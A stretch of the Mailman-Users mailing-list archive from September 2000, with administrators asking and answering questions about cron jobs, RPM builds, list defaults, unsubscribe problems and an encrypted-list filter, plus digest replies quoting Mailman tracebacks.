From: jw at w3.ca (Jeff Warnica)
Date: Thu, 14 Sep 2000 12:18:06 -0300
Subject: [Mailman-Users] sync_member
Message-ID: <IIEBLDMEINDOBBODINPNEEGGCAAA.jw@w3.ca>

Hi all..

sync_members seems to be dying when it finds invalid addresses.. This is
breaking some automated procedures developed by a former employee.

For a quick fix, is there a way I can convince it to skip over invalid
addresses, instead of stopping the whole procedure?

Thanks.

--
Jeff Warnica         					 noc at w3intetnet.com
Network Operations Manager 			       W3 Internet Services
Voice: (902) 425-2969 ext. 17 				Fax: (902) 425-2822




From kwythers at forestry.umn.edu  Thu Sep 14 19:31:14 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Thu, 14 Sep 2000 12:31:14 -0500
Subject: [Mailman-Users] help with /mailman/cron/grunner
Message-ID: <39C10B62.305A2DB9@forestry.umn.edu>

I removed install of mailman by rm-r the directory /home/mailman

now I'm getting a cron message every two minutes about
/mailman/cron/grunner. I want to re-install mailman (kI couldn't get it
configured corectly the first time). But first I need to stop theis cron
thing. crontab -l does not show anyting... What sould I do?


Kirk


-- 
Kirk R. Wythers					 University of Minnesota
Email: kwythers at forestry.umn.edu       		 Department of Forest Resources 
Tel: 612.625.22611530                 		 Cleveland Ave. N. 
Fax: 612 625.5212                                Saint Paul,  MN 55108



From WayneR at STROSNIDERS.com  Thu Sep 14 19:31:11 2000
From: WayneR at STROSNIDERS.com (Wayne Ringling)
Date: Thu, 14 Sep 2000 13:31:11 -0400
Subject: [Mailman-Users] Mailman 2.0 beta 5 RPM?
Message-ID: <AD16479CE7C5D2118A6C00E0290BA937061331@SRV-BDC-EMAIL>

 Is there a RPM build of Mailman 2.0 beta 5, also has anyone tested Mailman
2.0 on a RH 7.0 system.


Wayne Ringling

wayner at strosniders.com                                www.strosniders.com

This email is made of 100% recycled electrons.
If something can go wrong.... FIX IT!
If it's Microsoft...delete it.
There are three ways to get something done: 
   (1) Do it yourself. 
   (2) Hire someone to do it for you. 
   (3) Forbid your kids to do it. 





From chuqui at plaidworks.com  Thu Sep 14 19:42:31 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 14 Sep 2000 10:42:31 -0700
Subject: [Mailman-Users] help with /mailman/cron/grunner
In-Reply-To: <39C10B62.305A2DB9@forestry.umn.edu>
References: <39C10B62.305A2DB9@forestry.umn.edu>
Message-ID: <p04330102b5e6be7c7003@[17.216.27.251]>

At 12:31 PM -0500 9/14/00, Kirk R. Wythers wrote:
>crontab -l does not show anyting... What sould I do?

check the crontab for user mailman.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From jeff at shultzinfosystems.com  Thu Sep 14 19:54:23 2000
From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Thu, 14 Sep 2000 10:54:23 -0700
Subject: [Mailman-Users] help with /mailman/cron/grunner
In-Reply-To: <39C10B62.305A2DB9@forestry.umn.edu>
Message-ID: <20000914174332.CFB6C57ACD@taz.shultzinfosystems.com>

On Thu, 14 Sep 2000 12:31:14 -0500, Kirk R. Wythers wrote:

>I removed install of mailman by rm-r the directory /home/mailman
>
>now I'm getting a cron message every two minutes about
>/mailman/cron/grunner. I want to re-install mailman (kI couldn't get it
>configured corectly the first time). But first I need to stop theis cron
>thing. crontab -l does not show anyting... What sould I do?

go in as root and delete /var/spool/cron/crontabs/mailman


Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com





From GLeblanc at cu-portland.edu  Thu Sep 14 19:35:57 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Thu, 14 Sep 2000 10:35:57 -0700
Subject: [Mailman-Users] Mailman 2.0 beta 5 RPM?
Message-ID: <025836EFF856D411A6660090272811E61D071B@EMAIL>

> -----Original Message-----
> From: Wayne Ringling [mailto:WayneR at STROSNIDERS.com]
> 
>  Is there a RPM build of Mailman 2.0 beta 5, also has anyone 
> tested Mailman
> 2.0 on a RH 7.0 system.

Yeah, there is an RPM for that.  It's part of the RawHide Powertools.  I
haven't found any mirrors, so I use rawhide.redhat.com.  Just look in the
powertools directory and download it.  The RPMs there are using RPM4, so
they've been testing on RH 7 beta, if anywhere.
	Greg



From andreas at conectiva.com.br  Thu Sep 14 20:01:35 2000
From: andreas at conectiva.com.br (Andreas Hasenack)
Date: Thu, 14 Sep 2000 15:01:35 -0300
Subject: [Mailman-Users] Mailman 2.0 beta 5 RPM?
In-Reply-To: <AD16479CE7C5D2118A6C00E0290BA937061331@SRV-BDC-EMAIL>; from WayneR@STROSNIDERS.com on Thu, Sep 14, 2000 at 01:31:11PM -0400
References: <AD16479CE7C5D2118A6C00E0290BA937061331@SRV-BDC-EMAIL>
Message-ID: <20000914150134.P16047@conectiva.com.br>

We have one at ftp://atualizacoes.conectiva.com.br/5.1/i386

Em Thu, Sep 14, 2000 at 01:31:11PM -0400, Wayne Ringling escreveu:
> 
>  Is there a RPM build of Mailman 2.0 beta 5, also has anyone tested Mailman
> 2.0 on a RH 7.0 system.

-- 
Andreas Hasenack
andreas at conectiva.com.br
BIG Linux user!




From tpepper at opensales.com  Thu Sep 14 23:35:27 2000
From: tpepper at opensales.com (Tim Pepper)
Date: Thu, 14 Sep 2000 14:35:27 -0700 (PDT)
Subject: [Mailman-Users] Mailman 2.0 beta 5 RPM?
In-Reply-To: <AD16479CE7C5D2118A6C00E0290BA937061331@SRV-BDC-EMAIL>
Message-ID: <Pine.LNX.4.21.0009141431230.864-100000@tp.sf.opensales.com>

On Thu, 14 Sep 2000, Wayne Ringling wrote:

> 
>  Is there a RPM build of Mailman 2.0 beta 5, also has anyone tested Mailman
> 2.0 on a RH 7.0 system.

There's a rawhide rpm which I'm thinking is for a 7.0 system based on some
stuff I saw in it, but I don't know for sure.  Or there was one.  I've got it
if you want me to send it to you.

Also I've reworked their rpm to address some install problems I had with it
and to make it run nicely with a RH 6.2 system running qmail and apache if
you'd like that version.

Tim

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*  http://www.opensales.com         * Dolavimus         *
*********************************************************




From p_powers at eudoramail.com  Thu Sep 14 20:39:43 2000
From: p_powers at eudoramail.com (Margaret Callinan)
Date: Thu, 14 Sep 2000 14:39:43 -0400
Subject: [Mailman-Users] ? changing default admin settings
Message-ID: <BECKECEHGKNLAAAA@shared1-mail.whowhere.com>

I would like to change 2 default settings on the
list admin web page. According to an earlier
message I saw in the June archives, it looks as though it's not possible to set the default for "Archive Messages" to NO. Is that still true?

Also, I would like to restrict postings to 
list members. The comment in the Default.py:

# Make it 1 when it works.
DEFAULT_MEMBER_POSTING_ONLY = 0

seems to suggests this also isn't possible. I tried adding an entry to the mm_cfg.py anyway,
but that didn't seem to help.

Does anybody know if these options are configurable? Thanks,
 


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From kwythers at forestry.umn.edu  Thu Sep 14 20:51:02 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Thu, 14 Sep 2000 13:51:02 -0500
Subject: [Mailman-Users] new install - "requested url not found"
Message-ID: <39C11E16.3B76DCD8@forestry.umn.edu>

I'm trying to get a new mailman install up. When I click on the link
that appeared in the message that was sent to me when I created a new
list "newlist", the classic "not found page comes up on my browser. Does
this mean I didn't get http.conf configured correctly?

Kirk
-- 
Kirk R. Wythers					 University of Minnesota
Email: kwythers at forestry.umn.edu       		 Department of Forest Resources 
Tel: 612.625.22611530                 		 Cleveland Ave. N. 
Fax: 612 625.5212                                Saint Paul,  MN 55108



From tauren at servlets.net  Fri Sep 15 03:46:16 2000
From: tauren at servlets.net (Tauren Mills)
Date: Thu, 14 Sep 2000 18:46:16 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
Message-ID: <NBBBLBKDJMGDNPMDGAABMEBKMOAA.tauren@servlets.net>

Does anyone have any suggestions???  I really need to get this figured out.
If people can't unsubscribe and *really* be removed, this mailing list
software is not going to work for us.

Please help!

Thanks,
Tauren

Sent on Tue, 12 Sep 2000 20:42:05 -0700 by tauren at servlets.net:

> I've seen reports of this before, but can't seem to locate any solutions
in
> the archives.  Perhaps someone can point me in the right direction.
>
> We have a customer using Mailman.  They have reported that several members
> of their list have unsubscribed but still continue to get the monthly
> password reminder.  When they attempt to locate the previous member's
email
> address, it is nowhere to be found.
>
> This is really upsetting both the previous members of the list and my
> customer.  Any suggestions how this can be resolved?
>
> Thanks!
>
> Tauren




From evan at bad-people-of-the-future.san-francisco.ca.us  Fri Sep 15 03:48:05 2000
From: evan at bad-people-of-the-future.san-francisco.ca.us (ESP)
Date: 14 Sep 2000 18:48:05 -0700
Subject: [Mailman-Users] Encrypted Mailman Lists
Message-ID: <sa6hf7ijui2.fsf@roy.bad-people-of-the-future.san-francisco.ca.us>

So, I've spent the last few days hacking out an interesting Mailman
filter for making GnuPG-encrypted Mailman mailing lists.

Users can send email encrypted to the list's public key, and the
filter will unencrypt the message, re-encrypt it to all the list
members' public keys, and then let it get redistributed through normal
Mailman channels.

It's fairly rudimentary and requires a lot of handwork from the
mailing list administrator (like adding all the members' public keys
to the list's keyring), but I think it's a good start so far.

One thing I'm wondering about, though, is if anyone knows of software
for Mailman that does anything similar. I would hate to spend any time
refining this software if someone else has already done it.

OK, that's all. B-)

~ESP

P.S. Anyone know if there's plans to fix the horrendous filter design
for Mailman any time soon? It'd be cool to put hooks into the various
steps on the chain, rather than just having a single filter right at the
beginning. With mmreencrypt, for example, I have to encrypt every
message to every user, which is kind of a privacy violation (other
members can see if you're on the list by seeing if the message is
encrypted to you). It'd be cool to encrypt the message to each member
just as they're going out the door.

-- 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       ESP <evan at bad-people-of-the-future.san-francisco.ca.us>
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



From Dan.Mick at West.Sun.COM  Fri Sep 15 04:45:11 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 14 Sep 2000 19:45:11 -0700 (PDT)
Subject: [Mailman-Users] RE: Unsubscribe bug
Message-ID: <200009150244.TAA11749@utopia.west.sun.com>

> Does anyone have any suggestions???  I really need to get this figured out.
> If people can't unsubscribe and *really* be removed, this mailing list
> software is not going to work for us.

I ignored the message the first time because it didn't seem specific
enough for me to investigate anything.  Let's try some tech support
give and take here, I guess.

> > We have a customer using Mailman.  They have reported that several members
> > of their list have unsubscribed but still continue to get the monthly
> > password reminder.  When they attempt to locate the previous member's
> email
> > address, it is nowhere to be found.

"attempt to locate" and "nowhere to be found" need expansion into
actual commands and techniques.  Please specify.





From hstropez at mail.linknet.it  Fri Sep 15 05:32:28 2000
From: hstropez at mail.linknet.it (hstropez)
Date: Fri, 15 Sep 2000 05:32:28 +0200
Subject: [Mailman-Users] help
References: <20000914012213.8F1871CF07@dinsdale.python.org>
Message-ID: <39C1984B.640768D3@linknet.it>



mailman-users-request at python.org ha scritto:

> Send Mailman-Users mailing list submissions to
>         mailman-users at python.org
>
> To subscribe or unsubscribe via the World Wide Web, visit
>         http://www.python.org/mailman/listinfo/mailman-users
> or, via email, send a message with subject or body 'help' to
>         mailman-users-request at python.org
>
> You can reach the person managing the list at
>         mailman-users-admin at python.org
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of Mailman-Users digest..."
>
>
>    ----------------------------------------------------------------
> Today's Topics:
>
>   1. RE: Virtual Domains (Leonardo Rochael Almeida)
>   2. RE: Virtual Domains (Scott Brown)
>   3. Bug Problem. (Brian Beers)
>   4. EOF when reading self.__db (Michael Rasmussen)
>
>    ----------------------------------------------------------------
>
> Oggetto: RE: [Mailman-Users] Virtual Domains
> Data: Wed, 13 Sep 2000 18:12:45 -0300 (EST)
> Da: Leonardo Rochael Almeida <lra at insite.com.br>
> A: Scott Brown <scott-brown at home.com>
> CC: mailman-users at python.org
>
> You can change mm_cfg.py before creating a list (that's what I do). you
> can even have several mm_cfg.py and move them around before creating each
> list. Remember to put the mm_cfg.py with the official hostname back after
> you create a list or password reminders and other stuff will be sent with
> the last domain selected.
>
> Regards, Leo
>
> On Wed, 13 Sep 2000, Scott Brown wrote:
>
> > But wouldnt it be nice for hosting co's if there was a command line option
> > that allowed them to do that at list creation?
> >   -----Original Message-----
> >   From: mailman-users-admin at python.org
> > [mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
> >   Sent: Wednesday, September 13, 2000 2:52 PM
> >   To: Shane Snedecor; mailman-users at python.org
> >   Subject: Re: [Mailman-Users] Virtual Domains
> >
> >
> >   At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> >
> >     Has any one set up lists for virtual domains, couldn't find anything in
> >     the docs on how to do this. Thanks in advance.
> >
> >   Just fill in the field on the admin form for the preferred domain name.
> >
> >
>
>
>
>    ----------------------------------------------------------------
>
> Oggetto: RE: [Mailman-Users] Virtual Domains
> Data: Wed, 13 Sep 2000 17:39:39 -0400
> Da: "Scott Brown" <scott-brown at home.com>
> A: <mailman-users at python.org>
>
> yes, but I want to go one step further and make it possible to the domain
> owners to create their own lists (see my messages previously about automated
> web-based list creation)... so any fumbling around with files really isnt an
> option, as there could be multiple lists being created simultaneously...
>
> I may just have to find the source to newlist and do some playing ;-)
>
> What I'd really like is a page that I can call a newlist-like executable,
> that parses out the hostname of the server, and appends it to the listname
> (thereby creating unique lists across all the domains ;-)... then does the
> equivalent of newlist, followed by adding the appropriate
> aliases/virtualuser names to the sendmail tables, and forces sendmail to
> pick up the new aliases... all in one little step that can be requested by
> the user ... online .. any time.
>
> Doesnt sound like much... does it ;-)
>
> > -----Original Message-----
> > From: Leonardo Rochael Almeida [mailto:lra at insite.com.br]
> > Sent: Wednesday, September 13, 2000 5:13 PM
> > To: Scott Brown
> > Cc: mailman-users at python.org
> > Subject: RE: [Mailman-Users] Virtual Domains
> >
> >
> >
> > You can change mm_cfg.py before creating a list (that's what
> > I do). you
> > can even have several mm_cfg.py and move them around before
> > creating each
> > list. Remember to put the mm_cfg.py with the official
> > hostname back after
> > you create a list or password reminders and other stuff will
> > be sent with
> > the last domain selected.
> >
> > Regards, Leo
> >
> > On Wed, 13 Sep 2000, Scott Brown wrote:
> >
> > > But wouldnt it be nice for hosting co's if there was a
> > command line option
> > > that allowed them to do that at list creation?
> > >   -----Original Message-----
> > >   From: mailman-users-admin at python.org
> > > [mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
> > >   Sent: Wednesday, September 13, 2000 2:52 PM
> > >   To: Shane Snedecor; mailman-users at python.org
> > >   Subject: Re: [Mailman-Users] Virtual Domains
> > >
> > >
> > >   At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> > >
> > >     Has any one set up lists for virtual domains, couldn't
> > find anything in
> > >     the docs on how to do this. Thanks in advance.
> > >
> > >   Just fill in the field on the admin form for the
> > preferred domain name.
> > >
> > >
> >
>
>
>
>    ----------------------------------------------------------------
>
> Oggetto: [Mailman-Users] Bug Problem.
> Data: Wed, 13 Sep 2000 14:54:22 -0700
> Da: Brian Beers <Brian.Beers at DigiScents.com>
> A: "'Mailman-Users at python.org'" <Mailman-Users at python.org>
>
> Any Ideas what causes this?
>
> Bug in Mailman version 1.1
>
> We're sorry, we hit a bug!
>
> If you would like to help us identify the problem, please email a copy
> of this page to the webmaster for this site with a description of what
> happened. Thanks!
>
> Traceback:
>
> Traceback (innermost last):
>
> File "/home/mailman/scripts/driver", line 112, in run_main
>
> main()
>
> File "/home/mailman/Mailman/Cgi/admin.py", line 104, in main
>
> cookie='admin')
>
> File "/home/mailman/Mailman/SecurityManager.py", line 83, in
> WebAuthenticate
>
> return self.CheckCookie(cookie_key)
>
> File "/home/mailman/Mailman/SecurityManager.py", line 117, in
> CheckCookie
>
> if cookiedata[keylen+1] <> '"' and cookiedata[-1] <> '"':
>
> IndexError: string index out of range
>
>
> -------------------------------------------------------------------------------
>
> Environment variables:
>
> Variable Value
>
> DOCUMENT_ROOT/home/httpd/html
>
> SERVER_ADDR192.168.1.x
>
> HTTP_ACCEPT_ENCODINGgzip, deflate
>
> SERVER_PORT80
>
> PATH_TRANSLATED /home/httpd/html/test
>
> REMOTE_ADDR192.168.1.x
>
> HTTP_ACCEPT_LANGUAGEen-us
>
> GATEWAY_INTERFACECGI/1.1
>
> SERVER_NAMElocalhost
>
> HTTP_CONNECTIONKeep-Alive
>
> HTTP_USER_AGENTMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
>
> HTTP_ACCEPT*/*
>
> REQUEST_URI/mailman/admin/test
>
> PATH/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
>
> QUERY_STRING
>
> SCRIPT_FILENAME/home/mailman/cgi-bin/admin
>
> PATH_INFO/test
>
> HTTP_HOSTsc4mail01.digiscents.com
>
> REQUEST_METHODGET
>
> SERVER_SIGNATUREApache/1.3.12 Server at localhost Port 80
>
> SCRIPT_NAME/mailman/admin
>
> SERVER_ADMINroot at localhost
>
> SERVER_SOFTWAREApache/1.3.12 (Unix) (Red Hat/Linux) PHP/3.0.15
> mod_perl/1.21
>
> PYTHONPATH/home/mailman
>
> HTTP_COOKIEcount=3
>
> SERVER_PROTOCOLHTTP/1.1
>
> REMOTE_PORT1081
>
>    ----------------------------------------------------------------
>
> Oggetto: [Mailman-Users] EOF when reading self.__db
> Data: Wed, 13 Sep 2000 18:20:20 -0700 (PDT)
> Da: mikeraz at patch.com (Michael Rasmussen)
> A: mailman-users at python.org
>
> I've recently encountered problems with mailman.  Unfortunately, I don't know
> python.
>
> Below is the trace from when the program pukes.  It occures when a non-list
> member sends email to a list that only accepts email from members.  What do I
> need to fix?
>
> Forwarded message:
> >
> > <brewcrew at patch.com>: Command died with status 1:
> > "/home/mailman/mail/wrapper
> >     post brewcrew". Command output: Traceback (innermost last):   File
> >     "/home/mailman/scripts/post", line 86, in ?     main()   File
> >     "/home/mailman/scripts/post", line 62, in main     mlist.Post(msg)
> > File
> >     "/home/mailman/Mailman/MailList.py", line 1293, in Post
> >     Mailman.Handlers.HandlerAPI.DeliverToList(self, msg)   File
> >     "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 61, in
> > DeliverToList
> >     pipeline_delivery(mlist, msg, pipeline)   File
> >     "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 37, in
> >     pipeline_delivery     func(mlist, msg)   File
> >     "/home/mailman/Mailman/Handlers/Hold.py", line 125, in process
> >     hold_for_approval(mlist, msg, NonMemberPost)   File
> >     "/home/mailman/Mailman/Handlers/Hold.py", line 190, in
> > hold_for_approval
> >     mlist.HoldMessage(msg, reason)   File
> > "/home/mailman/Mailman/ListAdmin.py",
> >     line 131, in HoldMessage     self.__opendb()   File
> >     "/home/mailman/Mailman/ListAdmin.py", line 63, in __opendb
> > self.__db =
> >     marshal.load(fp) EOFError: EOF read where object expected
> > --------------9FCD39C40102033D28BDF27C
> > Content-Type: message/rfc822;
> >  name="nsmailM9.TMP"
> > Content-Transfer-Encoding: 7bit
> > Content-Description: Undelivered Message
> > Content-Disposition: inline;
> >  filename="nsmailM9.TMP"
> >
> > Received: from ptldpop3.ptld.uswest.net (ptldpop3.ptld.uswest.net [198.36.160.3])
> >       by barley.patch.com (Postfix) with SMTP id 018921008
> >       for <brewcrew at patch.com>; Wed, 13 Sep 2000 18:12:18 -0700 (PDT)
> > Received: (qmail 30846 invoked by alias); 14 Sep 2000 01:12:17 -0000
> > Delivered-To: fixup-brewcrew at patch.com@fixme
> > Received: (qmail 30841 invoked by uid 0); 14 Sep 2000 01:12:17 -0000
> > Received: from pane.patch.com (HELO uswest.net) (209.180.166.37)
> >   by ptldpop3.ptld.uswest.net with SMTP; 14 Sep 2000 01:12:17 -0000
> > Message-ID: <39C0250D.463761C4 at uswest.net>
> > Date: Wed, 13 Sep 2000 18:08:30 -0700
> > From: Michael Rasmussen <mrasmussen1 at uswest.net>
> > Reply-To: mrasmussen1 at uswest.net
> > X-Mailer: Mozilla 4.7 [en] (Win95; U)
> > X-Accept-Language: en
> > MIME-Version: 1.0
> > To: brewcrew at patch.com
> > Subject: test - delete me
> > Content-Type: text/plain; charset=us-ascii
> > Content-Transfer-Encoding: 7bit
> >
> > bounces go bouncing
> >
> > --
> > Michael Rasmussen - mikeraz at patch.com
> >  Better a brewer than a banker be.
> >  Be appropriate && Follow your curiosity
> >
> >
> >
> >
> > --------------9FCD39C40102033D28BDF27C--
> >
> >
>
>
> --
>
>   Michael Rasmussen - mikeraz at patch.com
>  Be Appropriate && Follow Your Curiosity
>  email to pager:  pagemike at patch.com
>
>
>
>
>    ----------------------------------------------------------------
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>
>
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From hstropez at mail.linknet.it  Fri Sep 15 05:32:43 2000
From: hstropez at mail.linknet.it (hstropez)
Date: Fri, 15 Sep 2000 05:32:43 +0200
Subject: [Mailman-Users] help
References: <20000914012213.8F1871CF07@dinsdale.python.org>
Message-ID: <39C1985A.CEC7E4D6@linknet.it>



mailman-users-request at python.org ha scritto:

> Send Mailman-Users mailing list submissions to
>         mailman-users at python.org
>
> To subscribe or unsubscribe via the World Wide Web, visit
>         http://www.python.org/mailman/listinfo/mailman-users
> or, via email, send a message with subject or body 'help' to
>         mailman-users-request at python.org
>
> You can reach the person managing the list at
>         mailman-users-admin at python.org
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of Mailman-Users digest..."
>
>
>    ----------------------------------------------------------------
> Today's Topics:
>
>   1. RE: Virtual Domains (Leonardo Rochael Almeida)
>   2. RE: Virtual Domains (Scott Brown)
>   3. Bug Problem. (Brian Beers)
>   4. EOF when reading self.__db (Michael Rasmussen)
>
>    ----------------------------------------------------------------
>
> Oggetto: RE: [Mailman-Users] Virtual Domains
> Data: Wed, 13 Sep 2000 18:12:45 -0300 (EST)
> Da: Leonardo Rochael Almeida <lra at insite.com.br>
> A: Scott Brown <scott-brown at home.com>
> CC: mailman-users at python.org
>
> You can change mm_cfg.py before creating a list (that's what I do). you
> can even have several mm_cfg.py and move them around before creating each
> list. Remember to put the mm_cfg.py with the official hostname back after
> you create a list or password reminders and other stuff will be sent with
> the last domain selected.
>
> Regards, Leo
>
> On Wed, 13 Sep 2000, Scott Brown wrote:
>
> > But wouldnt it be nice for hosting co's if there was a command line option
> > that allowed them to do that at list creation?
> >   -----Original Message-----
> >   From: mailman-users-admin at python.org
> > [mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
> >   Sent: Wednesday, September 13, 2000 2:52 PM
> >   To: Shane Snedecor; mailman-users at python.org
> >   Subject: Re: [Mailman-Users] Virtual Domains
> >
> >
> >   At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> >
> >     Has any one set up lists for virtual domains, couldn't find anything in
> >     the docs on how to do this. Thanks in advance.
> >
> >   Just fill in the field on the admin form for the preferred domain name.
> >
> >
>
>
>
>    ----------------------------------------------------------------
>
> Oggetto: RE: [Mailman-Users] Virtual Domains
> Data: Wed, 13 Sep 2000 17:39:39 -0400
> Da: "Scott Brown" <scott-brown at home.com>
> A: <mailman-users at python.org>
>
> yes, but I want to go one step further and make it possible to the domain
> owners to create their own lists (see my messages previously about automated
> web-based list creation)... so any fumbling around with files really isnt an
> option, as there could be multiple lists being created simultaneously...
>
> I may just have to find the source to newlist and do some playing ;-)
>
> What I'd really like is a page that I can call a newlist-like executable,
> that parses out the hostname of the server, and appends it to the listname
> (thereby creating unique lists across all the domains ;-)... then does the
> equivalent of newlist, followed by adding the appropriate
> aliases/virtualuser names to the sendmail tables, and forces sendmail to
> pick up the new aliases... all in one little step that can be requested by
> the user ... online .. any time.
>
> Doesnt sound like much... does it ;-)
>
> > -----Original Message-----
> > From: Leonardo Rochael Almeida [mailto:lra at insite.com.br]
> > Sent: Wednesday, September 13, 2000 5:13 PM
> > To: Scott Brown
> > Cc: mailman-users at python.org
> > Subject: RE: [Mailman-Users] Virtual Domains
> >
> >
> >
> > You can change mm_cfg.py before creating a list (that's what
> > I do). you
> > can even have several mm_cfg.py and move them around before
> > creating each
> > list. Remember to put the mm_cfg.py with the official
> > hostname back after
> > you create a list or password reminders and other stuff will
> > be sent with
> > the last domain selected.
> >
> > Regards, Leo
> >
> > On Wed, 13 Sep 2000, Scott Brown wrote:
> >
> > > But wouldnt it be nice for hosting co's if there was a
> > command line option
> > > that allowed them to do that at list creation?
> > >   -----Original Message-----
> > >   From: mailman-users-admin at python.org
> > > [mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
> > >   Sent: Wednesday, September 13, 2000 2:52 PM
> > >   To: Shane Snedecor; mailman-users at python.org
> > >   Subject: Re: [Mailman-Users] Virtual Domains
> > >
> > >
> > >   At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> > >
> > >     Has any one set up lists for virtual domains, couldn't
> > find anything in
> > >     the docs on how to do this. Thanks in advance.
> > >
> > >   Just fill in the field on the admin form for the
> > preferred domain name.
> > >
> > >
> >
>
>
>
>    ----------------------------------------------------------------
>
> Oggetto: [Mailman-Users] Bug Problem.
> Data: Wed, 13 Sep 2000 14:54:22 -0700
> Da: Brian Beers <Brian.Beers at DigiScents.com>
> A: "'Mailman-Users at python.org'" <Mailman-Users at python.org>
>
> Any Ideas what causes this?
> Bug in Mailman version 1.1
>
> We're sorry, we hit a bug!
>
> If you would like to help us identify the problem, please email a copy
> of this page to the webmaster for this site with a description of what
> happened. Thanks!
>
> Traceback:
>
> Traceback (innermost last):
>
> File "/home/mailman/scripts/driver", line 112, in run_main
>
> main()
>
> File "/home/mailman/Mailman/Cgi/admin.py", line 104, in main
>
> cookie='admin')
>
> File "/home/mailman/Mailman/SecurityManager.py", line 83, in
> WebAuthenticate
>
> return self.CheckCookie(cookie_key)
>
> File "/home/mailman/Mailman/SecurityManager.py", line 117, in
> CheckCookie
>
> if cookiedata[keylen+1] <> '"' and cookiedata[-1] <> '"':
>
> IndexError: string index out of range
>
>
> -------------------------------------------------------------------------------
>
> Environment variables:
>
> Variable Value
>
> DOCUMENT_ROOT/home/httpd/html
>
> SERVER_ADDR192.168.1.x
>
> HTTP_ACCEPT_ENCODINGgzip, deflate
>
> SERVER_PORT80
>
> PATH_TRANSLATED /home/httpd/html/test
>
> REMOTE_ADDR192.168.1.x
>
> HTTP_ACCEPT_LANGUAGEen-us
>
> GATEWAY_INTERFACECGI/1.1
>
> SERVER_NAMElocalhost
>
> HTTP_CONNECTIONKeep-Alive
>
> HTTP_USER_AGENTMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
>
> HTTP_ACCEPT*/*
>
> REQUEST_URI/mailman/admin/test
>
> PATH/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
>
> QUERY_STRING
>
> SCRIPT_FILENAME/home/mailman/cgi-bin/admin
>
> PATH_INFO/test
>
> HTTP_HOSTsc4mail01.digiscents.com
>
> REQUEST_METHODGET
>
> SERVER_SIGNATUREApache/1.3.12 Server at localhost Port 80
>
> SCRIPT_NAME/mailman/admin
>
> SERVER_ADMINroot at localhost
>
> SERVER_SOFTWAREApache/1.3.12 (Unix) (Red Hat/Linux) PHP/3.0.15
> mod_perl/1.21
>
> PYTHONPATH/home/mailman
>
> HTTP_COOKIEcount=3
>
> SERVER_PROTOCOLHTTP/1.1
>
> REMOTE_PORT1081
>
>    ----------------------------------------------------------------
>
> Oggetto: [Mailman-Users] EOF when reading self.__db
> Data: Wed, 13 Sep 2000 18:20:20 -0700 (PDT)
> Da: mikeraz at patch.com (Michael Rasmussen)
> A: mailman-users at python.org
>
> I've recently encountered problems with mailman.  Unfortunately, I don't know
> python.
>
> Below is the trace from when the program pukes.  It occures when a non-list
> member sends email to a list that only accepts email from members.  What do I
> need to fix?
>
> Forwarded message:
> >
> > <brewcrew at patch.com>: Command died with status 1:
> > "/home/mailman/mail/wrapper
> >     post brewcrew". Command output: Traceback (innermost last):   File
> >     "/home/mailman/scripts/post", line 86, in ?     main()   File
> >     "/home/mailman/scripts/post", line 62, in main     mlist.Post(msg)
> > File
> >     "/home/mailman/Mailman/MailList.py", line 1293, in Post
> >     Mailman.Handlers.HandlerAPI.DeliverToList(self, msg)   File
> >     "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 61, in
> > DeliverToList
> >     pipeline_delivery(mlist, msg, pipeline)   File
> >     "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 37, in
> >     pipeline_delivery     func(mlist, msg)   File
> >     "/home/mailman/Mailman/Handlers/Hold.py", line 125, in process
> >     hold_for_approval(mlist, msg, NonMemberPost)   File
> >     "/home/mailman/Mailman/Handlers/Hold.py", line 190, in
> > hold_for_approval
> >     mlist.HoldMessage(msg, reason)   File
> > "/home/mailman/Mailman/ListAdmin.py",
> >     line 131, in HoldMessage     self.__opendb()   File
> >     "/home/mailman/Mailman/ListAdmin.py", line 63, in __opendb
> > self.__db =
> >     marshal.load(fp) EOFError: EOF read where object expected
> > --------------9FCD39C40102033D28BDF27C
> > Content-Type: message/rfc822;
> >  name="nsmailM9.TMP"
> > Content-Transfer-Encoding: 7bit
> > Content-Description: Undelivered Message
> > Content-Disposition: inline;
> >  filename="nsmailM9.TMP"
> >
> > Received: from ptldpop3.ptld.uswest.net (ptldpop3.ptld.uswest.net [198.36.160.3])
> >       by barley.patch.com (Postfix) with SMTP id 018921008
> >       for <brewcrew at patch.com>; Wed, 13 Sep 2000 18:12:18 -0700 (PDT)
> > Received: (qmail 30846 invoked by alias); 14 Sep 2000 01:12:17 -0000
> > Delivered-To: fixup-brewcrew at patch.com@fixme
> > Received: (qmail 30841 invoked by uid 0); 14 Sep 2000 01:12:17 -0000
